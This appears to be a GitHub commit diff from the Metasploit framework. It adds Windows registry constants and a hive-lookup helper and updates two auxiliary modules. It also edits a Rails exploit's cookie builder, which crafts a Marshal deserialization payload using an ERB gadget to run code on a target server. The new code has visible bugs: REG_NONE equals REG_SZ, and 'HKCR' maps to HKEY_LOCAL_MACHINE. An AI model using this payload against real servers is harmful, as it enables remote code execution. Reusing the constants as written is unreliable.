File tree Expand file tree Collapse file tree 7 files changed +51
-61
lines changed Expand file tree Collapse file tree 7 files changed +51
-61
lines changed Original file line number Diff line number Diff line change @@ -29,6 +29,51 @@ module Registry
29
29
#
30
30
REGISTRY_VIEW_64_BIT = 2
31
31
32
+ #
33
+ # Windows Registry Constants.
34
+ #
35
+ REG_NONE = 1
36
+ REG_SZ = 1
37
+ REG_EXPAND_SZ = 2
38
+ REG_BINARY = 3
39
+ REG_DWORD = 4
40
+ REG_LITTLE_ENDIAN = 4
41
+ REG_BIG_ENDIAN = 5
42
+ REG_LINK = 6
43
+ REG_MULTI_SZ = 7
44
+
45
+ HKEY_CLASSES_ROOT = 0x80000000
46
+ HKEY_CURRENT_USER = 0x80000001
47
+ HKEY_LOCAL_MACHINE = 0x80000002
48
+ HKEY_USERS = 0x80000003
49
+ HKEY_PERFORMANCE_DATA = 0x80000004
50
+ HKEY_CURRENT_CONFIG = 0x80000005
51
+ HKEY_DYN_DATA = 0x80000006
52
+
53
+ #
54
+ # Lookup registry hives by key.
55
+ #
56
+ def registry_hive_lookup ( hive )
57
+ case hive
58
+ when 'HKCR'
59
+ HKEY_LOCAL_MACHINE
60
+ when 'HKCU'
61
+ HKEY_CURRENT_USER
62
+ when 'HKLM'
63
+ HKEY_LOCAL_MACHINE
64
+ when 'HKU'
65
+ HKEY_USERS
66
+ when 'HKPD'
67
+ HKEY_PERFORMANCE_DATA
68
+ when 'HKCC'
69
+ HKEY_CURRENT_CONFIG
70
+ when 'HKDD'
71
+ HKEY_DYN_DATA
72
+ else
73
+ HKEY_LOCAL_MACHINE
74
+ end
75
+ end
76
+
32
77
#
33
78
# Load a hive file
34
79
#
Original file line number Diff line number Diff line change @@ -106,9 +106,6 @@ module Rex
106
106
# Compatibility
107
107
require 'rex/compat'
108
108
109
- # Platforms
110
- require 'rex/platforms'
111
-
112
109
# SSLScan
113
110
require 'rex/sslscan/scanner'
114
111
require 'rex/sslscan/result'
Load Diff This file was deleted.
Load Diff This file was deleted.
Original file line number Diff line number Diff line change 10
10
class MetasploitModule < Msf ::Auxiliary
11
11
12
12
include Msf ::Exploit ::Remote ::DCERPC
13
- include :: Rex :: Platforms :: Windows
13
+ include Msf :: Post :: Windows :: Registry
14
14
15
15
def initialize ( info = { } )
16
16
super ( update_info ( info ,
Original file line number Diff line number Diff line change 10
10
class MetasploitModule < Msf ::Auxiliary
11
11
12
12
include Msf ::Exploit ::Remote ::DCERPC
13
- include Rex :: Platforms ::Windows
13
+ include Msf :: Post ::Windows :: Registry
14
14
15
15
def initialize ( info = { } )
16
16
super ( update_info ( info ,
Original file line number Diff line number Diff line change @@ -200,18 +200,20 @@ def build_cookie
200
200
return "\x04 \b " +
201
201
"o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b " +
202
202
":\x0E @instanceo" +
203
- ":\b ERB\x06 " +
203
+ ":\b ERB\x07 " +
204
204
":\t @src" + Marshal . dump ( code ) [ 2 ..-1 ] +
205
+ ":\x0c @lineno" + "i\x00 " +
205
206
":\f @method:\v result:" +
206
207
"\x10 @deprecatoro:\x1F ActiveSupport::Deprecation\x00 "
207
208
end
208
209
if datastore [ 'RAILSVERSION' ] == 3
209
210
return Rex ::Text . encode_base64 "\x04 \x08 " +
210
211
"o" +":\x40 ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy" +"\x07 " +
211
212
":\x0E @instance" +
212
- "o" +":\x08 ERB" +"\x06 " +
213
+ "o" +":\x08 ERB" +"\x07 " +
213
214
":\x09 @src" +
214
215
Marshal . dump ( code ) [ 2 ..-1 ] +
216
+ ":\x0c @lineno" + "i\x00 " +
215
217
":\x0C @method" +":\x0B result"
216
218
end
217
219
end
You can’t perform that action at this time.
0 commit comments